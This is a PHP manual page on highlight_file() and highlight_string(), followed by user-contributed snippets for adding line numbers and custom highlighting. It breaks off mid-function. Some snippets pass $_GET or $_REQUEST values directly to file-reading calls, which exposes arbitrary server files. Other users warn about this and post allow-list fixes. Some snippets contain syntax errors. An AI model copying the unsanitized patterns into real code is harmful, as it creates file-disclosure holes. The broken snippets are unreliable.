Many servers are configured to automatically highlight files with a phps extension. For example, example.phps when viewed will show the syntax highlighted source of the file. To enable this, add this line to the httpd.conf:

AddType application/x-httpd-php-source .phps

Parameters

filename

Path to the PHP file to be highlighted.

return

Set this parameter to TRUE to make this function return the highlighted code.

Return Values

If return is set to TRUE, returns the highlighted code as a string instead of printing it out. Otherwise, it will return TRUE on success, FALSE on failure.

Changelog

Version | Description
4.2.1 | This function is now also affected by safe_mode and open_basedir.

Notes

Caution

Care should be taken when using the highlight_file() function to make sure that you do not inadvertently reveal sensitive information such as passwords or any other type of information that might create a potential security risk.

Note:

When the return parameter is used, this function uses internal output buffering so it cannot be used inside an ob_start() callback function.

See Also

  • highlight_string() - Syntax highlighting of a string
  • Highlighting INI directives

User Contributed Notes

design at joelalejandro dot com dot ar 01-Sep-2009 01:52
Just my two cents - a function that takes PHP source code from a file and decodes it to text/plain MIME-type.

Cheers,
Joel A. Villarreal Bertoldi

<?php
function phps2array($fileName)
{
    return explode("\r", html_entity_decode(strip_tags(highlight_file($fileName, true))));
}
?>

Example:
####################################

samplefile.php:
<?php
$a = 1;

/* This is my file*/
echo $a;
?>

parser.php:
<?php
header("Content-Type: text/plain");
print_r(parse_php_file("samplefile.php"));
?>

####################################
Results:
####################################

Array
(
    [0] => <?php
    [1] => $a = 1;
    [2] =>
    [3] => /* This is my file*/
    [4] => echo $a;
    [5] => ?>
)

####################################
dynamicflurry [at] gmail dot com 04-Aug-2009 04:33
Here's a great function I found to add numbers to your highlighted code:

<?php
function highlight_num($file)
{
  $lines = implode(range(1, count(file($file))), '<br />');
  $content = highlight_file($file, true);

  echo '
    <style type="text/css">
        .num {
        float: left;
        color: gray;
        font-size: 13px;
        font-family: monospace;
        text-align: right;
        margin-right: 6pt;
        padding-right: 6pt;
        border-right: 1px solid gray;}

        body {margin: 0px; margin-left: 5px;}
        td {vertical-align: top;}
        code {white-space: nowrap;}
    </style>';

    echo "<table><tr><td class=\"num\">\n$lines\n</td><td>\n$content\n</td></tr></table>";
}
highlight_num(__FILE__);
?>
afugit at imavex dot com 24-Jul-2009 05:42
This function will not only echo out the code but will add line numbers.  The extra code is for the multi-line and single-line comments using /* and */ and making sure they are highlighted appropriately.  If not used, the multi-line comments will not be displayed in orange (or the default comment color).

Anthony

=============

<?php
   function renderFile($filename) {
        if(file_exists($filename) && is_file($filename)) {
            $code = highlight_file($filename, true);
            $counter = 1;
            $arr = explode('<br />', $code);
            echo '<table border="0" cellpadding="0" cellspacing="0" width="100%" style="font-family: monospace;">' . "\r\n";
            foreach($arr as $line) {
                echo '<tr>' . "\r\n";
                    echo '<td width="65px" nowrap style="color: #666;">' . $counter . ':</td>' . "\r\n";

                    // fix multi-line comment bug
                    if((strstr($line, '<span style="color: #FF8000">/*') !== false) && (strstr($line, '*/') !== false)) { // single line comment using /* */
                        $comments = false;
                        $startcolor = "orange";
                    }
                    elseif(strstr($line, '<span style="color: #FF8000">/*') !== false) { // multi line comment using /* */
                        $startcolor = "orange";
                        $comments = true;
                    }
                    else { // no comment marks found
                        $startcolor = "green";
                        if($comments) { // continuation of multi line comment
                            if(strstr($line, '*/') !== false) {
                                $comments = false;
                                $startcolor = "orange";
                            }
                            else {
                                $comments = true;
                            }
                        }
                        else { // normal line
                            $comments = false;
                            $startcolor = "green";
                        }
                    }
                    // end fix multi-line comment bug

                    if($comments)
                        echo '<td width="100%" nowrap style="color: orange;">' . $line . '</td>' . "\r\n";
                    else
                        echo '<td width="100%" nowrap style="color: ' . $startcolor . ';">' . $line . '</td>' . "\r\n";

                    echo '</tr>' . "\r\n";
                    $counter++;
            }
            echo '</table>' . "\r\n";
        }
        else {
            echo "<p>The file <i>$filename</i> could not be opened.</p>\r\n";
            return;
        }
    }
?>
nospam at mbeulens dot nl 12-Jul-2009 09:00
This is my try on linenumbers
<?php
    public static function highlight_file_with_line_numbers($file) {
          //Strip code and first span
        $code = substr(highlight_file($file, true), 36, -15);
        //Split lines
        $lines = explode('<br />', $code);
        //Count
        $lineCount = count($lines);
        //Calc pad length
        $padLength = strlen($lineCount);

        //Re-Print the code and span again
        echo "<code><span style=\"color: #000000\">";

        //Loop lines
        foreach($lines as $i => $line) {
            //Create line number
            $lineNumber = str_pad($i + 1,  $padLength, '0', STR_PAD_LEFT);
            //Print line
            echo sprintf('<br><span style="color: #999999">%s | </span>%s', $lineNumber, $line);
        }

        //Close span
        echo "</span></code>";
    }

?>
Anonymous 11-Apr-2009 12:02
I get linenumbers this way... cause I don't like tables :p

<?php

function highlight_linenumbers ($page)
{

    // remove <code> and global <span>
    $code = highlight_file($page, true) ,36,-15);

    echo '<ol style="font-family:monospace; color:', ini_get('highlight.{default}') , ';">';

    $arr = explode('<br />', $code);
    foreach( $arr as $line )
    {
        // removing newline
        $line = substr($line, 0, -1);

        //empty lines
        if( preg_match('`^(&nbsp;)*$`',$line) ) $line = '&nbsp;';

        // add colour from the previous line
        if( !empty($last_colour) ) $s = '<span style="color:'.$last_colour .'">'. $s;

        // Supposing we open more spans on a line than closing... let's do this properly
        // We have at most one currently opened span
        if( substr_count($line, '<span') - substr_count($line, '</span') > 0 )
        {
                $line .= '</span>';

                // Grab colour to report it on next line
                $last_colour = explode('<span ',$line);
                $last_colour = $last_colour[count($last_colour)-1];

                $last_colour = substr($last_colour,strpos($last_colour,'#'),7);

                else $last_colour = NULL;

                echo '<li>',$line,"</li>\r";
        }

        echo '</ol>';
}

?>
SneakyWho_am_i 10-Sep-2008 01:00
From W on 20 August 2008:
YES! I do it too, on many of my things! I love to be able to share my code (when I have the right to do it) with friends who aren't working on the project.

<?php

if (isset($_GET['code'])) { die(highlight_file(__FILE__, 1)); }

?>

I like to do it like this. The benefit is minimal but personally for such a small thing I would like to keep it down to one line. Maybe there is a shorter way, I don't know.. But the magic constant __FILE__ saves the day!

To access this one would be http://example.com/path/to/script.php?code
the parameter just has to be set (? or &) and you don't need the equals sign.
This way I don't generate any errors in E_ALL (because I'm likely in development), and I don't have to remember if the value was supposed to be "true" or "1" or "abacus" or whatever (I mean you're never going to specifically ask to NOT show the code, right?)

Anyway I've gone on long enough. It's nice to not be the only one who does this :D
W 20-Aug-2008 11:43
Normally I add highlighting for files like so:

In every file that should be higlighted:
<?php
$tool_file=$_SERVER['SCRIPT_FILENAME']; $tool_file=basename($tool_file);
include_once('highlight.inc.php');
showCode();
?>

And in highlight.inc.php (or your init file):
<?php
function showCode() {
if ($_REQUEST['codeShow'] == 1) {
        highlight_file($codeName);
        exit ();
    }
}
?>

When a user will open the sourcecode (or you'll link to it) he just adds ?codeShow=1 to the filename.
mmcloughlin at gmail dot com 09-May-2008 03:06
You can trick this function to apply additional css rules to parts of the source code.

For example, if you wanted comments to appear in bold you could do the following

<?php
ini_set('highlight.comment', '#CCCCCC; font-weight: bold;');
highlight_file('file.php');
?>

This works because when highlight_file() writes out a comment it wraps it in <span style="color: {contents of hightlight.comment ini variable}">...</span>. Therefore as long as your ini value for highlight.comment starts with a color, you can put in whatever style declarations you like.

This applies to all of the other relavent ini values: highlight.default, highlight.html, highlight.keyword, highlight.string.
comperr dot extra at gmail dot com 18-Apr-2008 08:20
Here is what I use
<?php

    /* array() ensures that ok[] cannot have paths inserted if register globals is enabled */

    $ok = array(
        'f1.php',
        'f2.php'
    );

    if (!in_array($_GET['f'], $ok))
    {
        die ('Not allowed to view this page');
    }
    else
    {
        highlight_file($_GET['f']);
    }?>
moisadoru at gmail dot com 17-Oct-2007 02:24
A function which parses the output of highlight file and replaces &lt;span&gt; wits &lt;a&gt;, replaces the style="color: #XXXXXX" part with class="cX", storing the colors in some css rules; that way you get a smaller output size (ratio is about about 1.2 ~ 1.4):
<code>
<?php
function highlight_file2($fl,$ret){
    if(!isset($ret)) $ret = false;
    $str = highlight_file($fl,true);
    preg_match_all("/\<span style=\"color: #([\d|A|B|C|D|E|F]{6})\"\>.*?\<\/span\>/",$str,$mtch);
    $m = array_unique($mtch[1]);

    $cls = '<style type="text/css">'."\n";
    $rpl = array("</a>");
    $mtc = array("</span>");
    $i = 0;
    foreach($m as $clr) {
        $cls .= "a.c".$i."{color: #".$clr.";}\n";
        $rpl[] = "<a class=\"c".$i++."\">";
        $mtc[] = "<span style=\"color: #".$clr."\">";
    }
    $cls .= "</style>";
    $str2 = str_replace($mtc,$rpl,$str);
    if($ret) return $str2;
    else echo $str2;
}
?>
</code>
management at twilightus dot net 21-Mar-2007 03:18
Here's a better take at highlighting a file with line numbers:

<style type="text/css">
.num {
float: left;
color: gray;
text-align: right;
margin-right: 6pt;
padding-right: 6pt;
border-right: 1px solid gray;}
</style>
<?php
function highlight_num($file)
{
  echo '<code class="num">', implode(range(1, count(file($file))), '<br />'), '</code>';
  highlight_file($file);
}

highlight_num('file.php');
?>

Thanks for the implode() part from Arevos at programmingforums.org
paul at cheddar dot vaughany dot com 21-Aug-2006 01:53
It's a basic idea but one maybe worth sharing.

<?php
switch($_GET['file']) {
    case 1:
        highlight_file("file1.php");
        break;
    case 2:
        highlight_file("file2.php");
        break;
    case 3:
        highlight_file("file3.php");
        break;
    default:
        header("Location: ".$_SERVER["PHP_SELF"]);
}
?>

Save the script as showfile.php and access it like this:

<a href="showfile.php?file=1">Click here to see file 1 source code</a>

The default case is for people editing the URL to try to access further files. Just don't add any files you don't want users to see, and maybe hard-code in large, random numbers or MD5 hashes.
showsource at gmail dot com 08-Apr-2006 02:18
Please, be aware of just using marlon at mbwp dot nl example to show the sourcecode
Do as told in this manual, "CAUTION", do some check on what code to highlight.
Simply just using $_GET["file"] is very bad.
marlon at mbwp dot nl 05-Mar-2006 02:06
I use the folowing code to highlight a file with line numbers:

<?php
echo "<table bgcolor=#EEEEEE><tr><td width=30>";
for ($i = 1; $i <= count(file($_GET['file'])); $i++) echo $i.".<br>";
echo "</td><td>";
highlight_file($_GET['file']);
echo "</td></tr></table>";
?>
msn at toolskyn dot nl 26-Feb-2006 10:18
I use this (simple and dirty) function in my tutorials to add linenumbers. I let all the linenumbers in one table cell so it is easier for people to copy and paste the code (so they don't have to remove all the linenumbers):

<?php
function highlight_with_linenum($file)
{
    //open handle, set vars
    $handle = fopen($file, "r");
    $count = 1;
    $lines = "";

    //look line ends
    while ($thisone = fread($handle, "1"))
    {
        if ($thisone == "\n")
        {
            //add number
            $lines .= $count . "<br />";
            $count++;
        }
    }
    //close handle
    fclose($handle);

    //highlight contents
    $contents = highlight_file($file, TRUE);

    //print output (you could as well return now)
    print '<table><tr><td><code>' .
          $lines . '</code></td><td>' .
          $contents . '</td></tr></table>';
}
?>

Maybe it's of use to someone
venski at gmail dot com 06-Jan-2006 02:21
I think it will be better if the variable contains the files that are allowed to be viewed. There can always befound a way to pass the name of a forbiddedn file that is not in the prohibited array.

Thus the code will be:

<?php
//array with files to allow
$allowed = array('index.php', 'menu.php', 'about.php');

// get the filename
$file = $_GET[file];
if(file_Exists($file)){
    if(in_array($file, $allowed)){
        // check if it is part of the allowed list
        highlight_file($file); //highlight file
    }
    else{
        // not allowed. just die. do not warn ;)
        die("");
    }
}
else{
    // file doesnt exist
    echo "The file does not exist.";
}
?>
aidan at php dot net 26-Sep-2004 05:29
To add line numbers to source code, with optional function linking, use the below function:

http://aidanlister.com/repos/v/function.highlight_file_linenum.php

A much more thorough and smarter, though slower version is here:

http://aidanlister.com/repos/v/PHP_Highlight.php
csst0266 at cs dot uoi dot gr 13-Aug-2004 06:42
Here is a simple, yet useful, tip... Issuing the following command under a Unix-like OS:

ln -s your_script.php your_script.phps

Will result in the creation of a symbolic link (called your_script.phps) to the source code (your_script.php). This way you have (apart from the source code .php) the highlighted version of your script (.phps) accessible via your web browser.


Syntax highlighting of a string

  • « highlight_file
  • ignore_user_abort »
  • PHP Manual
  • Misc. Functions
  • Syntax highlighting of a string

highlight_string

(PHP 4, PHP 5)

highlight_string — Syntax highlighting of a string

Description

mixed highlight_string ( string $str [, bool $return = false ] )

Outputs or returns html markup for a syntax highlighted version of the given PHP code using the colors defined in the built-in syntax highlighter for PHP.

Parameters

str

The PHP code to be highlighted. This should include the opening tag.

return

Set this parameter to TRUE to make this function return the highlighted code.

Return Values

If return is set to TRUE, returns the highlighted code as a string instead of printing it out. Otherwise, it will return TRUE on success, FALSE on failure.

Examples

Example #1 highlight_string() example

<?php
highlight_string('<?php phpinfo(); ?>');
?>

The above example will output (in PHP 4):

<code><font color="#000000">
<font color="#0000BB">&lt;?php phpinfo</font><font color="#007700">(); </font><font color="#0000BB">?&gt;</font>
</font>
</code>

The above example will output (in PHP 5):

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php phpinfo</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span>
</span>
</code>

Notes

Note:

When the return parameter is used, this function uses internal output buffering so it cannot be used inside an ob_start() callback function.

The HTML markup generated is subject to change.

See Also

  • highlight_file() - Syntax highlighting of a file
  • Highlighting INI directives

User Contributed Notes

joshuaeasy4u at gmail dot com 18-Sep-2013 06:19
<?php
function printCode($source_code)
{
if ( is_array($source_code))
return false;
$source_code=explode("\n",str_replace(array("\r\n","\r"),"\n",$source_code));
$line_count=1;
foreach ( $source_code as $code_line)
{
$formatted_code .='<tr><td>'.$line_count.'</td>';
$line_count++;
if ( ereg('<\?(php)?[^[:graph:]]',$code_line))
$formatted_code.='<td>'.str_replace(array('<code>','</code>'),'',highlight_string($code_line,true)).'</td></tr>';
else
$formatted_code .='<td>'.ereg_replace('(&lt;\?php&nbsp;)+','',str_replace(array('<code>','</code>'),'',highlight_string('<?php '.$code_line,true))).'</td></tr>';
}
return '<table style="font: 1em Consolas, \'andale mono\', \' monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
}
?>
Mean^_^ 19-Apr-2009 06:45
[EDIT BY danbrown AT php DOT net: The following note contains a user-supplied version of a syntax highlighter.]

<style type="text/css">
.linenum{
    text-align:right;
    background:#FDECE1;
    border:1px solid #cc6666;
    padding:0px 1px 0px 1px;
    font-family:Courier New, Courier;
    float:left;
    width:17px;
    margin:3px 0px 30px 0px;
    }

code    {/* safari/konq hack */
    font-family:Courier New, Courier;
}

.linetext{
    width:700px;
    text-align:left;
    background:white;
    border:1px solid #cc6666;
    border-left:0px;
    padding:0px 1px 0px 8px;
    font-family:Courier New, Courier;
    float:left;
    margin:3px 0px 30px 0px;
    }

br.clear    {
    clear:both;
}

</style>
<?php

 function printCode($code, $lines_number = 0)    {

         if (!is_array($code)) $codeE = explode("\n", $code);
        $count_lines = count($codeE);

        $r1 = "Code:<br />";

         if ($lines_number){
                $r1 .= "<div class=\"linenum\">";
                foreach($codeE as $line =>$c) {
                    if($count_lines=='1')
                        $r1 .= "1<br>";
                    else
                        $r1 .= ($line == ($count_lines - 1)) ? "" :  ($line+1)."<br />";
                 }
                 $r1 .= "</div>";
         }

         $r2 = "<div class=\"linetext\">";
         $r2 .= highlight_string($code,1);
         $r2 .= "</div>";

        $r .= $r1.$r2;

        echo "<div class=\"code\">".$r."</div>\n";
    }

    printCode('<?php echo "PHP Code" ?>    ',1);
?>

by mean
Share idea.
good luck ^_^
Dmitry S 24-Jul-2008 10:38
Alternative XML syntax highlighting.

<?php
function xml_highlight($s)
{
    $s = htmlspecialchars($s);
    $s = preg_replace("#&lt;([/]*?)(.*)([\s]*?)&gt;#sU",
        "<font color=\"#0000FF\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([\?])(.*)([\?])&gt;#sU",
        "<font color=\"#800000\">&lt;\\1\\2\\3&gt;</font>",$s);
    $s = preg_replace("#&lt;([^\s\?/=])(.*)([\[\s/]|&gt;)#iU",
        "&lt;<font color=\"#808000\">\\1\\2</font>\\3",$s);
    $s = preg_replace("#&lt;([/])([^\s]*?)([\s\]]*?)&gt;#iU",
        "&lt;\\1<font color=\"#808000\">\\2</font>\\3&gt;",$s);
    $s = preg_replace("#([^\s]*?)\=(&quot;|')(.*)(&quot;|')#isU",
        "<font color=\"#800080\">\\1</font>=<font color=\"#FF00FF\">\\2\\3\\4</font>",$s);
    $s = preg_replace("#&lt;(.*)(\[)(.*)(\])&gt;#isU",
        "&lt;\\1<font color=\"#800080\">\\2\\3\\4</font>&gt;",$s);
    return nl2br($s);
}
?>
fsx dot nr01 at gmail dot com 13-Jun-2008 06:22
Here is an improved version of the code highlighter w/ linenumbers from 'vanessaschissato at gmail dot com' - http://nl.php.net/manual/en/function.highlight-string.php#70456

<?php

    function printCode($source_code)
    {

        if (is_array($source_code))
            return false;

        $source_code = explode("\n", str_replace(array("\r\n", "\r"), "\n", $source_code));
        $line_count = 1;

        foreach ($source_code as $code_line)
        {
            $formatted_code .= '<tr><td>'.$line_count.'</td>';
            $line_count++;

            if (ereg('<\?(php)?[^[:graph:]]', $code_line))
                $formatted_code .= '<td>'. str_replace(array('<code>', '</code>'), '', highlight_string($code_line, true)).'</td></tr>';
            else
                $formatted_code .= '<td>'.ereg_replace('(&lt;\?php&nbsp;)+', '', str_replace(array('<code>', '</code>'), '', highlight_string('<?php '.$code_line, true))).'</td></tr>';
        }

        return '<table style="font: 1em Consolas, \'andale mono\', \'monotype.com\', \'lucida console\', monospace;">'.$formatted_code.'</table>';
    }

?>
Dobromir Velev 27-May-2008 01:04
Here is an improved version of Dimitry's xml_highlight function.
I fixed a bug which replaced the first character of the tags name,
and added a line to replace the tabs and spaces with
non-breaking space symbols to keep the identation.

<?
function xml_highlight($s){
  $s = preg_replace("|<([^/?])(.*)\s(.*)>|isU", "[1]<[2]\\1\\2[/2] [5]\\3[/5]>[/1]", $s);
  $s = preg_replace("|</(.*)>|isU", "[1]</[2]\\1[/2]>[/1]", $s);
  $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]", $s);
  $s = preg_replace("|\=\"(.*)\"|isU", "[6]=[/6][4]\"\\1\"[/4]",$s);
  $s = htmlspecialchars($s);
  $s = str_replace("\t","&nbsp;&nbsp;",$s);
  $s = str_replace(" ","&nbsp;",$s);
  $replace = array(1=>'0000FF', 2=>'0000FF', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
  foreach($replace as $k=>$v) {
    $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU", "<font color=\"#".$v."\">\\1</font>", $s);
  }

  return nl2br($s);
}
?>
Dmitry S 12-May-2008 03:29
The simple XML syntax highlighting.

<?php
function xml_highlight($s)
{
     $s = preg_replace("|<[^/?](.*)\s(.*)>|isU","[1]<[2]\\1[/2] [5]\\2[/5]>[/1]",$s);
     $s = preg_replace("|</(.*)>|isU","[1]</[2]\\1[/2]>[/1]",$s);
     $s = preg_replace("|<\?(.*)\?>|isU","[3]<?\\1?>[/3]",$s);
     $s = preg_replace("|\=\"(.*)\"|isU","[6]=[/6][4]\"\\1\"[/4]",$s);
     $s = htmlspecialchars($s);
     $replace = array(1=>'0000FF', 2=>'808000', 3=>'800000', 4=>'FF00FF', 5=>'FF0000', 6=>'0000FF');
     foreach($replace as $k=>$v)
     {
          $s = preg_replace("|\[".$k."\](.*)\[/".$k."\]|isU","<font color=\"".$v."\">\\1</font>",$s);
     }
    return nl2br($s);
}
?>
Daniel 20-Feb-2008 11:49
Well, Just a little something I wrote which highlights an HTML code...It'll be going through many changes in the next few days.... until then =) enjoy

<?php
/*************************************\
 CODE PANE 1.0 - SILVERWINGS - D. Suissa
\*************************************/

class HTMLcolorizer{
    private $pointer = 0; //Cursor position.
    private $content = null; //content of document.
    private $colorized = null;
    function __construct($content){
        $this->content = $content;
    }
    function colorComment($position){
        $buffer = "&lt;<span class='HTMLComment'>";
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            $buffer.= $this->content[$position];
        }
        $buffer .= "</span>&gt;";
        $this->colorized .= $buffer;
        return $position;
    }
    function colorTag($position){
        $buffer = "&lt;<span class='tagName'>";
        $coloredTagName = false;
        //As long as we're in the tag scope
        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
            if($this->content[$position] == " " && !$coloredTagName){
                $coloredTagName = true;
                $buffer.="</span>";
            }else if($this->content[$position] != " " && $coloredTagName){
                //Expect attribute
                $attribute = "";
                //While we're in the tag
                for(;$position < strlen($this->content) && $this->content[$position] != ">" ;$position++){
                    if($this->content[$position] != "="){
                        $attribute .= $this->content[$position];
                    }else{
                        $value="";
                        $buffer .= "<span class='tagAttribute'>".$attribute."</span>=";
                        $attribute = ""; //initialize it
                        $inQuote = false;
                        $QuoteType = null;
                        for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != " "  ;$position++){
                            if($this->content[$position] == '"' || $this->content[$position] == "'"){
                                $inQuote = true;
                                $QuoteType = $this->content[$position];
                                $value.=$QuoteType;
                                //Read Until next quotation mark.
                                for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != $QuoteType  ;$position++){
                                    $value .= $this->content[$position];
                                }
                                $value.=$QuoteType;
                            }else{//No Quotation marks.
                                $value .= $this->content[$position];
                            }
                        }
                        $buffer .= "<span class='tagValue'>".$value."</span>";
                        break;
                    }

                }
                if($attribute != ""){$buffer.="<span class='tagAttribute'>".$attribute."</span>";}
            }
            if($this->content[$position] == ">" ){break;}else{$buffer.= $this->content[$position];}

        }
        //In case there were no attributes.
        if($this->content[$position] == ">" && !$coloredTagName){
            $buffer.="</span>&gt;";
            $position++;
        }
        $this->colorized .= $buffer;
        return --$position;
    }
    function colorize(){
        $this->colorized="";
        $inTag = false;
        for($pointer = 0;$pointer<strlen($this->content);$pointer++){
            $thisChar = $this->content[$pointer];
            $nextChar = $this->content[$pointer+1];
            if($thisChar == "<"){
                if($nextChar == "!"){
                    $pointer = $this->colorComment($pointer);
                }else if($nextChar == "?"){
                    //colorPHP();
                }else{
                    $pointer = $this->colorTag($pointer);
                }
            }else{
                $this->colorized .= $this->content[$pointer];
            }
        }
        return $this->colorized;
    }
}
$curDocName = $_REQUEST['doc'];
$docHandle = fopen($curDocName,"r");
$docStrContent = fread($docHandle,filesize($curDocName));
fclose($docHandle);
$HTMLinspector = new HTMLcolorizer($docStrContent);
$document = $HTMLinspector->colorize();
?>

<html>
    <head>
        <style type="text/css">
        /**********************\
         * MOZILLA FIREFOX STYLE
        \**********************/
        /*pre{font-family:Tahoma;font-size:px;}*/
        .tagName{color:purple;}
        .tagAttribute{color:red;}
        .tagValue{color:blue;}
        .HTMLComment{font-style:italic;color:green;}
        </style>
    </head>
    <body>
    <?php
        echo "<pre>".$document."</pre>";
    ?>
    </body>
</html>
wm at tellinya dot com 17-Dec-2007 01:32
I wanted to build a better function and exclude operators {}=- from keywords span class. I also wanted to link functions used in my PHP code directly to the PHP site.
A lot more changes and tweaks have been made and the output is much better!

Find the function here :
http://www.tellinya.com/art2/262/highligh-php-syntax/
and ditch the old PHP one permanently.
Tested and built on PHP 5.2.0.

Looking forward to any input.
www.phella.net 06-Sep-2007 05:47
When you quote highlighted PHP code in your website you need to escape quotes. If you quote a lot it may be annoyning. Here is tiny snippet how to make quoting tidy and clean. Write your code like this:

<?code()?>
  $string = 'Here I put my code';
<?code()?>

And somewhere else define the function:

<?
  function code()
  {
    static $on=false;
    if (!$on) ob_start();
    else
    {
      $buffer= "<?\n".ob_get_contents()."?>";
      ob_end_clean();
      highlight_string($buffer);
    }
    $on=!$on;
  }
?>
supremacy2k at gmail dot com 01-Apr-2007 01:06
A simplification of functions vanessaschissato at gmail dot com at 17-Oct-2006 05:04.

Since it had trouble keeping the code intact. (It removed /* )

function showCode($code) {
 $code = highlight_string($code, true);
 $code = explode("<br />", $code);

 $i = "1";
 foreach ($code as $line => $syntax) {
  echo "<font color='black'>".$i."</font> ".$syntax."<br>";
  $i++;
 }
}
Pyerre 04-Mar-2007 10:29
This fonction replaces every space with the html code &nbsp; (non-breaking space)
this is not very good because text will not go to the line and causes a big width
for example in a bordered div, text will go across the border

my solution :
echo str_replace("&nbsp;", " ",highlight_string("Arise, you children of the fatherland",true));
echo str_replace("&nbsp;", " ",highlight_file("test.php",true));
tyler dot reed at brokeguysinc dot com 02-Oct-2006 03:11
This is a little chunk of code that i use to show the source of a file, i took part of the idea from a example i found on another php function page.

This code takes a php file and highlights it and places a line number next to it.  Great for on the fly debugging.

<?php
// Get a file into an array
$lines = file('index.php');

// Loop through our array, show HTML source as HTML source; and line numbers too.
echo('<table border=0 cellpadding=0 cellspacing=0>');
foreach ($lines as $line_num => $line) {
    echo('<tr>');
    echo('<td bgcolor = "#cccccc">');
    echo('<code>' . ($line_num + 1) . '</code>');
    echo('</td>');
    echo('<td>');
    highlight_string($line);
    echo('</td>');
    echo('</tr>');
}

?>
peter at int8 dot com 20-Apr-2006 01:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
stalker at ruun dot de 31-Dec-2005 10:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
05-Nov-2005 08:05
growling octopus's code didn't work under Windows, so I made this and it worked:
<?php
if (!empty($_GET['source'])) {
   $f = file_get_contents($_SERVER['SCRIPT_FILENAME']);
   highlight_string($f);
   exit();
}
?>
vouksh at vouksh dot info 10-Sep-2005 07:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
    $hlt = highlight_string(stripslashes($str), true);
    $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
    $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
    echo $ret;
    return true;
}
?>
zer0 21-Jun-2005 06:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($code, true);
        }

        # Using preg_replace will allow PHP 4 in on the fun
        if ( $inline === true )
            $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
        else
            $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
zero 16-Jun-2005 12:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($data, true);
        }

        ## The classes below need to correspond to a stylesheet!
        if ( $inline === true )
          $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
        else
          $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
Sam Wilson 15-Jun-2005 08:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com 13-Jun-2005 10:04
On dleavitt AT ucsc DOT edu's comment:

You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
trixsey at animania dot nu 30-May-2005 01:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
    $html = highlight_string($code, true);
    $html = str_replace("\n", "", $html);
    $rows = explode("<br />", $html);

    $row_num = array();
    $i = 1;

    foreach($rows as $row) {
        if($i < 10) {
            $i = "0".$i;
        }

        if($i==1) {
            $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
        }

        if($i!=1) {
            if(is_int($i/2)) {
                $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            } else {
                $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            }
        }

        $i++;
    }
    return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
    style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de 10-Apr-2005 01:58
With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
    $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

